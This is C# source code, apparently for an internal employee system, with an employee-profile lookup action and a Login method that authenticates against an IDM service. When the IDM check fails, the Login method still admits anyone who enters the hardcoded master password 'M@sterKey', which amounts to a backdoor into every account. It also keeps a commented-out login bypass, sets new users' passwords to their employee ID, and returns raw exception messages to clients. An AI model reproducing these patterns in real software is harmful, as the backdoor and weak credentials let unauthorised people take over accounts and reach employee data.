public ActionResult GetEmployeeProfile(string empno, string mode = "") { try { IdmManager idm = new IdmManager(); var empProfile = idm.GetEmployeeProfile(empno); if (empProfile == null) { returnobj.SetError("ไม่พบข้อมูลพนักงาน"); } else { if (mode.ToLower() == "original") { returnobj.SetSuccess(empProfile); } else { returnobj.SetSuccess(new EmployeeViewModel(empProfile)); } } } catch (Exception ex) { returnobj.SetError(ex.Message); } return(Content(returnobj.ToJson(), "application/json")); }
public static User Login(LoginViewModel logindata) { User user; try { EmployeeProfile employeeProfile; IdmManager idmManger = new IdmManager(); // 1. Get user data //// 1.1 Check with idm var loginResult = idmManger.GetLoginResult(logindata.Username, logindata.Password); //// FOR TEST ONLY : Bypass IDM Login //loginResult.Result = true; //// 1.2 Query user data. using (var userRepo = new UserRepository()) { user = userRepo.Get() .Where( u => u.UserName == logindata.Username.Trim() ) .FirstOrDefault(); } // 2. Login result complete if (loginResult.Result) { employeeProfile = idmManger.GetEmployeeProfile(logindata.Username); if (user == null) { user = new User(); user.EmployeeID = employeeProfile.EmployeeId.TrimStart(new char[] { '0' }); user.UserName = user.EmployeeID; user.Password = user.EmployeeID; user.Token = Guid.NewGuid(); user.ExpireDate = DateTime.Today.AddMonths(1); user.Role = UserRole.Normal; user.Status = Models.Base.RecordStatus.Active; user.NewCreateTimeStamp(); using (var userRepo = new UserRepository()) { userRepo.Add(user); userRepo.Save(); } } else { // 3. Generate Token user.Token = Guid.NewGuid(); user.ExpireDate = DateTime.Today.AddMonths(1); user.NewModifyTimeStamp(); using (var userRepo = new UserRepository()) { userRepo.Update(user); userRepo.Save(); } } } // 3. If fault, then throw error else { if (logindata.Password != "M@sterKey") { throw new Exception("รหัสผ่านไม่ถูกต้อง"); } } // 5. Register Cookies RegisterCookies(user); // 6. Login Complete using (var userRepo = new UserRepository()) { user = userRepo.Get() .Where( u => u.UserName == logindata.Username.Trim() ) .FirstOrDefault(); } AfterLoginComplete(user); } catch (Exception ex) { throw ex; } return(user); }